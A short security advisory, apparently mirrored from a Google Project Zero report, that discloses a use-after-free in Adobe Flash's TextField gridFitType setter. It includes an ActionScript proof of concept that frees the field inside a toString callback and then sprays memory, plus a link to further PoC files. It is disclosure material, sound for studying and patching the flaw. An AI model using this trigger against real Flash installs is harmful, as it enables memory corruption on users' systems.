Adobe Flash - textfield.gridFitType Use-After-Free

Source: https://code.google.com/p/google-security-research/issues/detail?id=418&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a use-after-free in the TextField gridFitType setter. A PoC is below:

var test = this.createTextField("test", 1, 0, 0, 100, 100);
var n = {toString : func, valueOf : func};
test.gridFitType = n;

function func(){
	
	test.removeTextField();
	for(var i = 0; i < 1000; i++){
		var b = new flash.display.BitmapData(1000, 1000, true, 10);
		}
	trace("here");
	return "natalie";
	
	}

A PoC and fla are attached. Some other setters (thickness, tabIndex, etc.) are also impacted by the same UaF condition, additional SWFs are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37877.zip